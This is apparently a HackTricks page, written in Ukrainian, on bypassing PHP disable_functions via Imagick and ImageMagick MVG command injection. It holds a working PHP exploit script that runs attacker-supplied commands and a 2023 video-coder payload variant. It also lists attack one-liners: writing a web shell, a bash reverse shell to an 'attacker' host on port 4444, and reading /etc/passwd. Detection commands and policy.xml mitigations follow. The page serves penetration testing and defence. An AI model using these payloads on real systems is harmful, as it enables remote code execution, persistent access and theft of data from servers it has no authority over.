Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Відомі баги сімейства ImageTragick (CVE-2016-3714 та ін.) дозволяють зловмиснику отримати доступ до основного бінарного файлу ImageMagick через спеціально підготовлений вхід MVG/SVG. Коли розширення PHP Imagick присутнє, це може бути використано для виконання команд оболонки, навіть якщо всі функції PHP, що виконуються, занесені до чорного списку за допомогою
disable_functions
.Оригінальний PoC, опублікований RicterZ (Chaitin Security Research Lab) у травні 2016 року, наведено нижче. Техніка все ще регулярно зустрічається під час сучасних аудитів PHP 7/8, оскільки багато постачальників спільного хостингу просто компілюють PHP без
exec
/system
, але зберігають застарілу комбінацію Imagick + ImageMagick.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
Чому це працює?
Imagick::readImage()
прозоро запускає бінарний файл ImageMagick delegate (convert
/magick
).- Скрипт MVG встановлює fill на зовнішній URI. Коли вводиться подвійна лапка (
"
), решта рядка інтерпретується/bin/sh ‑c
, який використовує ImageMagick → довільне виконання shell. - Все відбувається поза інтерпретатором PHP, тому
disable_functions
, open_basedir,safe_mode
(видалено в PHP 5.4) та подібні обмеження в процесі повністю обходяться.
Статус 2025 року – це досі актуально
- Будь-яка версія Imagick, яка покладається на вразливий бекенд ImageMagick, залишається вразливою. У лабораторних тестах той же payload працює на PHP 8.3 з Imagick 3.7.0 та ImageMagick 7.1.0-51, скомпільованими без посиленого
policy.xml
. - З 2020 року було знайдено кілька додаткових векторів ін'єкції команд (
video:pixel-format
,ps:
,text:
кодувальники…). Два недавні публічні приклади: - CVE-2020-29599 – ін'єкція shell через text: кодувальник.
- GitHub issue #6338 (2023) – ін'єкція в video: delegate.
Якщо операційна система постачає ImageMagick < 7.1.1-11 (або 6.x < 6.9.12-73) без обмежувального файлу політики, експлуатація є простою.
Сучасні варіанти payload
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
Інші корисні примітиви під час CTF / реальних залучень:
- Запис файлу –
... > /var/www/html/shell.php
(запис веб-оболонки поза open_basedir) - Зворотна оболонка –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- Перерахунок –
id; uname -a; cat /etc/passwd
Швидке виявлення та перерахунок
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
Якщо вивід показує, що кодувальники MVG
або URL
увімкнені, ціль, ймовірно, підлягає експлуатації.
Заходи
- Патч/Оновлення – Використовуйте ImageMagick ≥ 7.1.1-11 (або останню 6.x LTS) та Imagick ≥ 3.7.2.
- Ускладнення
policy.xml
– явно вимкніть кодувальники з високим ризиком:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- Видаліть розширення на ненадійних хостингових середовищах. У більшості веб-стеків
GD
абоImagick
не є строго необхідними. - Ставтеся до
disable_functions
лише як до глибокого захисту – ніколи не як до основного механізму пісочниці.
Посилання
- GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- CVE-2020-29599 – ImageMagick shell injection via text: coder
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.